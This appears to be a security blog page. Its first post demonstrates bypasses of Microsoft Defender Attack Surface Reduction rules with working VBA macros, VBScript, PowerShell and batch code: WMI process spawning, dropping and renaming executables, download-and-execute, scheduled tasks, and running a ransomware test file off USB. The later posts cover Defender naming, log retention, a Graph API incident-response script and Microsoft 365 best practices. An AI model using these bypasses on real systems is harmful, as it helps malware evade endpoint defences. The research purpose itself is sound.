Microsoft Defender Antivirus Attack Surface Reduction Rules Bypasses

Microsoft Defender Antivirus Attack Surface Reduction Rules Bypasses

Microsoft Defender Antivirus Exploit Guard is a set of intrusion prevention capabilities that includes Attack Surface Reduction Rules. The Attack Surface Reduction rules are rules to lock down various attack vectors commonly used in malware. In this blog post, I will go through some of the rules and show how to bypass them.

Attack Surface Reduction

Microsoft Defender Antivirus Exploit Guard contains the following four features.

Image 1: Exploit Guard features

In this blog post, I will zoom in on Attack Surface Reduction.

This table shows all Attack Surface Reduction rules and their corresponding GUIDs, which you use to configure the rules using Group Policies or PowerShell. Other methods to enable the Attack Surface Reduction rules are Microsoft Intune, Mobile Device Management, and Microsoft Endpoint Configuration Manager.

Rule NameGUID
Block executable content from email client and webmailBE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550
Block all Office applications from creating child processesD4F940AB-401B-4EFC-AADC-AD5F3C50688A
Block Office applications from creating executable content3B576869-A4EC-4529-8536-B80A7769E899
Block Office applications from injecting code into other processes75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84
Block JavaScript or VBScript from launching downloaded executable contentD3E037E1-3EB8-44C8-A917-57927947596D
Block execution of potentially obfuscated scripts5BEB7EFE-FD9A-4556-801D-275E5FFC04CC
Block Win32 API calls from Office macros92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B
Block executable files from running unless they meet a prevalence, age, or trusted list criterion01443614-cd74-433a-b99e-2ecdc07bfc25
Use advanced protection against ransomwarec1db55ab-c21a-4637-bb3f-a12568109d35
Block credential stealing from the Windows local security authority subsystem (lsass.exe)9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2
Block process creations originating from PSExec and WMI commandsd1e49aac-8f56-4280-b9ba-993a6d77406c
Block untrusted and unsigned processes that run from USBb2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4
Block Office communication application from creating child processes26190899-1602-49e8-8b27-eb1d0a1ce869
Block Adobe Reader from creating child processes7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c
Block persistence through WMI event subscriptione6db77e5-3df2-4cf1-b95a-636979351e5b
Table 1: Rule names with the corresponding GUID

Each Attack Surface Reduction rule contains the following three settings.

  • Not configured: Disable the ASR rule
  • Block: Enable the ASR rule
  • Audit: Evaluate how the ASR rule would impact your organization if enabled

When the rule applies in audit mode, an event is created in the Event Viewer but does not block any code. If the rule applies in block mode, it stops executing the code, makes an event in the Event Viewer, and Microsoft Defender Antivirus shows an alert that Attack Surface Reduction blocked the attack vector.

There is a Microsoft link that contains some Attack Surface Reduction examples, which you can download. There is a total of six samples I used to test the Attack Surface Reduction rules.

Image 2: Microsoft test files

Block Office applications from creating child processes

Let us take a look at the first example. Here is the description of the rule from Microsoft.

“This rule blocks Office apps from creating child processes. This includes Word, Excel, PowerPoint, OneNote, and Access.

Creating malicious child processes is a common malware strategy. Malware that abuse Office as a vector often run VBA macros and exploit code to download and attempt to run additional payloads. However, some legitimate line-of-business applications might also generate child processes for benign purposes, such as spawning a command prompt or using PowerShell to configure registry settings.”

First, we open the file with no rules configured. If you open the file and click “Enable Content,” a macro will run, and a Command Prompt appears.

Image 3: TestFile_OfficeChildProcess_D4F940AB-401B-4EFC-AADC-AD5F3C50688A.docm

Here is the macro from the example.

Public Sub Document_Open()
 Shell "cmd.exe", vbNormalFocus
 End Sub
 Private Sub Document_Close()
     On Error GoTo ErrorHandler
     Set WshShell = CreateObject("WScript.Shell")
     WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords\"
 ErrorHandler:
 End Sub

The macro uses the Windows Script Host Object to start a Command Prompt. The rule states that Office Applications is blocked to create child processes. What if we use the macro to talk to, for example, WMI and let WMI start a child process? First, I enabled the Attack Surface Reduction rule and ran the same file to see if the macro gets blocked by Attack Surface Reduction.

Image 4: Macro gets blocked when you enable the rule Block Office applications from creating child processes

The Attack Surface Reduction rule has blocked the macro from creating a child process. I used the following code to let WMI start a child process.

Public Sub Document_Open()
  Const HIDDEN_WINDOW = 1
  strComputer = "."
  Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  Set objConfig = objStartup.SpawnInstance_
  objConfig.ShowWindow = HIDDEN_WINDOW
  Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
  errReturn = objProcess.Create("cmd.exe", Null, objConfig, intProcessID)
End Sub

If you use the code above and open the document, you will see the macro starts a Command Prompt just fine.

Image 5: The macro runs just fine when you use WMI to start a child process

As you can see, this works just fine with the Attack Surface Reduction rule enabled. However, there is another rule which blocks process, if enabled, creation originating from WMI commands. Continue reading to see how to bypass that rule as well.

Block Office applications from creating executable content

Let us take a look at the second example. Here is the description of the rule from Microsoft.

“This rule prevents Office apps, including Word, Excel, and PowerPoint, from creating potentially malicious executable content, by blocking malicious code from being written to disk.

Malware that abuses Office as a vector may attempt to break out of Office and save malicious components to disk. These malicious components would survive a computer reboot and persist on the system. Therefore, this rule defends against a common persistence technique.”

The example drops an executable on disk, runs it, and encrypts all files in the c:\demo folder if the rule is not enabled or set to audit mode.

Image 6: TestFile_Block_Office_applications_from_creating_executable_content_3B576869-A4EC-4529-8536-B80A7769E899.docm

I used the following code to drop an executable on disk.

Sub Auto_Open()
  Dim fso As Object
  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim Fileout As Object
  Set Fileout = fso.CreateTextFile("C:\temp\thalpius.exe", True, True)
  Fileout.Write "your string goes here"
  Fileout.Close
End Sub

With the rule enabled, it indeed gets blocked.

Image 7: When creating an executable, it does get blocked

I was wondering what would happen if you create a non-executable file.

Sub Auto_Open()
  Dim fso As Object
  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim Fileout As Object
  Set Fileout = fso.CreateTextFile("C:\temp\thalpius.lol", True, True)
  Fileout.Write "your string goes here"
  Fileout.Close
End Sub

Interestingly enough, this works just fine.

Image 8: Create a non-executable file works fine

So what if you create a non-executable file first and change the extension to an executable file? You can drop a non-executable file and rename it to an executable file using the following code.

Sub Auto_Open()
  Dim fso As Object
  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim Fileout As Object
  Set Fileout = fso.CreateTextFile("C:\temp\thalpius.txt", True, True)
  Fileout.Write "your string goes here"
  Fileout.Close
  Name "C:\temp\thalpius.txt" As "C:\temp\thalpius.exe"
End Sub

Now we run the macro above and see what happens.

Image 9: Create a non-executable file and rename it to an executable file

As you can see, this works just fine, and you bypass the Attack Surface Reduction rule.

Block JavaScript or VBScript from launching downloaded executable content

Let us take a look at the third example. Here is the description of the rule from Microsoft.

“This rule prevents scripts from launching potentially malicious downloaded content. Malware written in JavaScript or VBScript often acts as a downloader to fetch and launch other malware from the Internet.

Although not common, line-of-business applications sometimes use scripts to download and launch installers.”

The following code is an example from Microsoft.

// SCPT:xmlHttpRequest
var xmlHttp = WScript.CreateObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", "https://www.bing.com", false);
xmlHttp.send();
// SCPT:JSRunsFile
var shell = WScript.CreateObject("WScript.Shell");
shell.Run("notepad.exe");

So I have created a Visual Basic Script which downloads a file and executes it.

Dim objShell
Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe", False
xHttp.Send
with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile "c:\temp\putty.exe", 2
end with
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Exec("c:\temp\putty.exe")

Although, to my surprise, it runs just fine even with the rule enabled.

Image 10: Visual Basic Script which downloads a file and executes it

I created a macro as well since it uses the scripting engine by Windows, but that works just fine as well.

Sub DownloadFile()
  Dim myURL As String
  myURL = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"
  Dim WinHttpReq As Object
  Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  WinHttpReq.Open "GET", myURL, False, "username", "password"
  WinHttpReq.send
  If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile "C:\temp\putty.exe", 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
  End If
End Sub
Sub Auto_Open()
  DownloadFile
  CreateObject("WScript.Shell").Run "c:\temp\putty.exe", 1
End Sub

I have no idea why this code is not blocked, but it seems that this bypasses the Attack Surface Reduction rule.

Block Process Creations originating from PSExec & WMI commands

Let us take a look at the fourth example. Here is the description of the rule from Microsoft.

“This rule blocks processes created through PsExec and WMI from running. Both PsExec and WMI can remotely execute code, so there is a risk of malware abusing this functionality for command and control purposes, or to spread an infection throughout an organization’s network.”

If you start the Visual Basic Script, it starts notepad.

Image 11: The example starts notepad

With the rule enabled, it does block the example script as intended.

Image 12: The example getting blocked when the rule is enabled

The PowerShell cmdlet “Register-ScheduledTask” uses Windows Management Instruments (WMI) to create a scheduled task. I was wondering if this gets blocked as well.

$A = New-ScheduledTaskAction -Execute "cmd.exe"
$T = New-ScheduledTaskTrigger -once -At 5:25pm
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Settings $S
Register-ScheduledTask Evil -InputObject $D

Creating a scheduled task using the code above bypasses the Attack Surface Reduction rule. There is an event in the WMI Event Viewer, but the scheduled task still runs just fine.

Block untrusted and unsigned processes that run from USB

Let us take a look at the fifth example. Here is the description of the rule from Microsoft.

“With this rule, admins can prevent unsigned or untrusted executable files from running from USB removable drives, including SD cards. Blocked file types include executable files (such as .exe, .dll, or .scr)”

If you run the executable from a USB drive, it will encrypt files in the c:\demo folder and show a popup with a message that your files are encrypted.

Image 13: UNSIGNED_ransomware_test_exe.exe

I copied the file to a USB drive and enabled the rule to be sure the rule works. Surely it does.

Image 14: UNSIGNED_ransomware_test_exe.exe gets blocked

I wondered what would happen if I copy the same file to a fixed disk and run it from there using the following code.

xcopy /s UNSIGNED_ransomware_test_exe.exe %temp% /y
start %temp%\UNSIGNED_ransomware_test_exe.exe

When you save the code above as a .bat file and run the file from a USB disk, the executable runs just fine.

Image 15: The bypass works just fine

It should not be too hard to embed an executable in a batch file to start from a USB drive to bypass this Attack Surface Reduction rule.

Conclusion

Although Exploit Guard Attack Surface Reduction rules work great with Microsoft Defender Antivirus, the alerts stay on the endpoint. To send the events to a centralized dashboard for advanced monitoring, you need to implement a Security Information and Event Management (SIEM) solution like Microsoft Sentinel or use Microsoft Defender for Endpoint.

I did not look at all Attack Surface Reduction rules, but it is relatively easy to bypass those rules. Although an attacker can not make any mistake or the attacker will get detected. Especially if you are using Microsoft Defender for Endpoint as the alerts show up in a centralized cloud portal and detect any anomalies. Bypassing the Attack Surface Reduction rules alone is not enough for an attacker to execute malicious code, and an attacker hopefully will get caught when moving laterally. Either monitoring the events in the Event Viewer using a SIEM solution or use Microsoft Defender for Endpoint is critical, though.

Microsoft Defender

Microsoft Defender

Microsoft rebrands its enterprise security solutions to Microsoft Defender. Microsoft Defender is a holistic solution for what is known as Extended Detection and Response. This blog post will explain what is meant by Extended Detection and Response and go through the Microsoft Defender security name changes.

Extended Detection and Response is a solution that provides threat detection across multiple domains rather than the single point of view that Endpoint Detection and Response delivers. Endpoint Detection and Response uses machine learning and behavioral analysis to detect zero-day vulnerabilities looking at the behavior across a single security layer. Extended Detection and Response enables telemetry and behavioral analysis across numerous security layers.

Two Extended Detection and Response products from Microsoft Defender are Microsoft 365 Defender and Azure Defender. Microsoft 365 Defender is not a new product in the family. Microsoft 365 Defender is known as Microsoft Threat Protection. Microsoft 365 Defender uses a single unified portal, cross-domain hunting, for four products: Microsoft Defender for Identity, Microsoft Defender for Endpoint, Microsoft Defender for Office 365, and Microsoft Cloud App Security.

Figure 1: Microsoft Defender – Extended Detection and Response

Here is an example of an Extended Detection and Response incident: Suppose a potential threat identifies in Microsoft Defender for Office 365 as a “Potential phishing attack,” and around the same time, a potential threat is identified on the endpoint by Microsoft Defender for Endpoint. In that case, Microsoft 365 Defender will determine the risk and raise an alert, and creates an incident. The threat is not classified as potential anymore but as an incident due to detection across multiple domains.

Another added value of Extended Detection and Response is aggregation. Multiple threat encounters across various domains aggregates to less and manageable alerts, and those alerts aggregate to less and manageable incidents. Using aggregation, Security Operations Center does not need to go through all threat encounters, but they can focus on the more critical incidents. Using Microsoft 365 Defender makes it possible to execute advanced hunting using Kusto Query Language across multiple domains as well.

Last but not least, a reminder of the name changes within Microsoft Defender.

New product nameOld Product name
Microsoft Defender for IdentityMicrosoft Azure ATP
Microsoft Defender for EndpointMicrosoft Defender ATP
Microsoft Defender for Office 365Microsoft Office 365 ATP
Microsoft 365 DefenderMicrosoft Threat Protection
Azure Defender for ServersAzure Security Center Standard Edition
Azure Defender for IoTAzure Security Center for IoT
Azure Defender for SQLAdvanced Threat Protection for SQL
Microsoft Products Name Changes

Conclusion

Although Microsoft 365 Defender is not new, I like Microsoft 365 Defender as an Extended Detection and Response solution. The aggregation of alerts and advanced hunting makes it possible to get a better and more precise insight within the environment.

I had to get used to the name changes, but I am thrilled that Microsoft changes their products to a simpler naming scheme.

Microsoft Log Retention Overview

Microsoft Log Retention Overview

For most Microsoft products, data retention is 30 days. However, it depends on some products if you use the free or paid version of the product, and some products do not allow you to change to the retention period at all. To get a clear overview, I created a table with the most common Microsoft products with their retention period.

Microsoft Log Retention

ProductReportMinimumMaximumDefault
Microsoft Azure AD FreeAudit Logs7 days7 days7 days
Microsoft Azure AD FreeSign-in Logs7 days7 days7 days
Microsoft Azure AD FreeAzure MFA Usage30 days30 days30 days
Microsoft Azure AD FreeUsers at risk7 days7 days7 days
Microsoft Azure AD FreeRisky sign-ins7 days7 days7 days
Microsoft Azure AD PremiumAudit Logs30 days30 days30 days
Microsoft Azure AD PremiumSign-in Logs30 days30 days30 days
Microsoft Azure AD PremiumAzure MFA Usage30 days30 days30 days
Microsoft Azure AD Premium P1Users at risk30 days30 days30 days
Microsoft Azure AD Premium P1Risky sign-ins30 days30 days30 days
Microsoft Azure AD Premium P2Users at risk90 days90 days90 days
Microsoft Azure AD Premium P2Risky sign-ins90 days90 days90 days
Microsoft Defender for EndpointData Retention30 days180 days180 days
Microsoft Cloud App SecurityActivity Logs180 days180 days180 days
Microsoft Cloud App SecurityDiscovery Data90 days90 days90 days
Microsoft Cloud App SecurityAlerts180 days180 days180 days
Microsoft Cloud App SecurityGovernance Logs120 days120 days120 days
Microsoft Defender for IdentityAudit Logs90 days90 days90 days
Microsoft Defender for Office 365 P1Real-time Detections30 days30 days30 days
Microsoft Defender for Office 365 P2Threat Explorer30 days30 days30 days
Microsoft Azure Log Analytics FreeData Retention30 days30 days30 days
Microsoft Azure Log Analytics PaidData Retention30 days730 days30 days
Microsoft Office 365Basic Audit Logs90 days90 days90 days
Microsoft Office 365Advanced Audit Logs365 days365 days365 days
Microsoft Office 365Message Trace90 days90 days90 days
Table 1: Microsoft Log Retention Overview

Conclusion

Not all products allow you to change the retention period, and some products come with an additional cost when changing the retention period. However, this is not always the case. When a Log Analytics Workspace is attached to Sentinel, data retention if free for 90 days.

Suppose you want to extend the retention period longer than the maximum period. In that case, you need to send the logs to a Security Information and Event Management (SIEM) solution or send it to an Azure Log Analytics workspace if the product supports it.

Microsoft Office 365 Incident Response using the Microsoft Graph Security API

Microsoft Office 365 Incident Response using the Microsoft Graph Security API

During an incident, you want to do your analysis as quickly and as precisely as possible. Although there are many scripts available to do proper research within Microsoft 365, if you are working with Exchange Online, OneDrive, SharePoint, they all need separate modules. Not to mention that Exchange Online sometimes need multiple modules depending on what data you want to extract. Using numerous modules can be a pain due to numerous logins that are required.

I wanted to create a ‘One ring to rule them all’ for any incident response within Microsoft 365, which is Operating System independent, runs natively on Windows, and works with or without Multi-Factor Authentication. PowerShell runs on Linux, macOS, natively on Windows, and it happens to be a language I somewhat understand.

Since many Microsoft security products and services connect to the Microsoft Graph Security API, I have chosen to use PowerShell in combination with the Microsoft Graph Security API.

App Registration

To communicate to the Microsoft Graph Security API, you need an app registration. If you create an app registration, be sure you select the Microsoft graph and Application Permissions.

Note: During the application registration, write down the application ID, the client secret, and the tenant name.

Figure 1: Azure AD API Permissions Microsoft Graph
Figure 2: Azure AD Permissions Applications Permissions

Add the following API permissions.

    Directory.Read.All
    Directory.ReadWrite.All
    IdentityRiskyUser.Read.All
    Policy.Read.All
    SecurityEvents.Read.All
    DelegatedPermissionGrant.ReadWrite.All
    AuditLog.Read.All
    Mail.Read
    MailboxSettings.Read

Research Questions

The idea of answering a research question is to run a function, export the outcome to a JSON file, and filter the JSON file if needed. The sign-in logs, for example, contain a lot of information. Using your favorite tool, you can extract what research question you would like to answer. The export includes the location of the login. A simple query makes it possible to filter all logins outside the company’s country to get an overview of potential malicious logins.

RR-GetAccessToken

The first thing you need to do is getting a token using the app registration you created previously.

RR-GetAccessToken -appId 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX' -appSecret 'XXXXXXXX' -tenantName "thalpius.onmicrosoft.com"

Once you have a token, you can use the functions described below.

Note: The token expires in one hour. I have not had this issue myself that a function runs more than an hour, but I am looking to add a refresh token to the script. You can always request a new token described above, which is valid for another hour.

RR-GetSkus

The first thing to look for is licenses. If the tenant contains an Office 365 Advanced Threat Protection license, it helps during the investigation. Or if the tenant contains an Azure AD Premium license, you know the logs in Azure AD go back one month instead of seven days.

I recommend starting with an output of the licenses to see what tools can help during the investigation.

RR-GetSkus

RR-GetAcceptedDomains

Accepted domains are used in the tenant to sent and receive e-mail. The function RR-GetAcceptedDomains can extract all accepted domains within the tenant.

Getting all accepted domains is helpful to validate which domain names accept e-mail within the tenant.

RR-GetAcceptedDomains

RR-GetInboxRules

Many attackers create inbox rules for persistence or hiding footprints. With the function RR-GetInboxRules you can export all inbox rules within the tenant or for a particular user.

RR-GetInboxRules
RR-GetInboxRules -userPrincipalName user@thalpius.com

RR-GetSignins

The RR-GetSignins functions export all Azure AD sign-ins within the tenant or for a particular user. The sign-in logs contain a lot of information like the user-agent, location of the sign-in, etc.

RR-GetSignins
RR-GetSignins -userPrincipalName user@thalpius.com

RR-GetAuditLogs

The RR-GetAuditLogs functions export all Azure AD audit logs within the tenant or for a particular user.

RR-GetAuditLogs
RR-GetAuditLogs -userPrincipalName user@thalpius.com

RR-GetEmailBySubject

The function RR-GetEmailBySubject searches for any e-mail with a given subject.

RR-GetEmailBySubject -subject "thalpius"

RR-GetEmailByBody

The function RR-GetEmailByBody searches for any e-mail with a given keyword in the body of the e-mail.

RR-GetEmailByBody -bodyKeyword "thalpius"

RR-GetAttachment

This function gives you the ability to extract all usernames with a given attachment filename in their mailbox.

RR-GetAttachment -fileName "thalpius.zip"

RR-GetAttachments

This function gives you the ability to extract attachments to check if it is malicious. It exports all attachments from a user’s mailbox or extracts the attachment itself if you use the attachmentId. The attachment is Base64 encoded. Decode the encoded string in the output to get the binary.

RR-GetAttachments -userPrincipalName user@thalpius.com
RR-GetAttachments -userPrincipalName user@thalpius.com -extension ".zip"
RR-GetAttachments -userPrincipalName user@thalpius.com -attachmentId XXXX-XXXXXX-XXXX

RR-GetAllAppRegistrations

In an illicit consent grant attack, the attacker creates an Azure-registered application that requests access to data such as contact information and e-mail. This function exports all app registrations within the tenant, including the owner.

RR-GetAllAppRegistrations

RR-OutputArray

Every function adds the data to an array. Once you are done running all functions you think you need, RR-OutputArray creates a JSON file with all data. You can filter the data if needed using your favorite scripting language.

RR-OutputArray -outputLocation 'c:\users\thalpius\incidentResponse\output.json'

Conclusion

Check out the script on my GitHub page. If you are missing any research questions, please let me know or add a GitHub issue and I will do my best to add it to the script.

Note: Do not forget to remove the Microsoft Graph Security API permissions once the investigation is completed.

Microsoft 365 Top 5 Security Best Practices

Microsoft 365 Top 5 Security Best Practices

According to Microsoft, using Multi-Factor Authentication reduces 99,9% of account compromise attacks within Microsoft 365. Many companies know Multi-Factor Authentication is the right security solution, but what about other security measures?

Here are my top five security measures any company needs to take within Microsoft 365. I even made a downloadable infographic about it.

Infographic

Security Awareness

I want to start by saying that security awareness could easily be number one. I wanted to create a technical top five, but I can not miss out on security awareness as it is essential within any company.

Any given employee needs to be able to identify a threat. Security awareness training helps raise employees’ awareness to identify risks, and the employee then knows what to do when it comes to handling the threat or who to contact.

Security Operations Center

One of the most significant benefits of having a Security Operations Center (SOC) is twenty-four seven monitoring. Hackers do not have a nine to five mentality nor work from Monday till Friday. Is there a follow-up on a security threat on a Saturday at ten PM, or do you have to wait for employees to complain on Monday that they can not access their data due to ransomware? Monitoring your environment twenty-four seven is crucial within any company.

SPF, DKIM and DMARC

Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) are configurations to lower incoming phishing e-mail delivered in the inbox of the user. It is relatively easy to implement and does not come with additional costs. Since a lot of attacks use phishing, implementing SPF, DKIM, and DMARC is a must.

Multi-Factor Authentication and Legacy Authentication

Multi-Factor Authentication and Legacy Authentication go hand in hand since Legacy Authentication does not support Multi-Factor Authentication. So implementing Multi-Factor Authentication is not enough as Legacy Authentication should be disabled as well.

According to Microsoft, more than 99 percent of password spray attacks use legacy authentication protocols, and using Multi-Factor Authentication reduces 99,9% of the attacks within Microsoft Office 365.

In combination with secure awareness, Multi-Factor Authentication and disabling Legacy Authentication is a must within any Microsoft 365 environment.

Conclusion

There are many security measures a company can take. In my opinion, these are the five minimum Microsoft 365 security measures every company needs to take.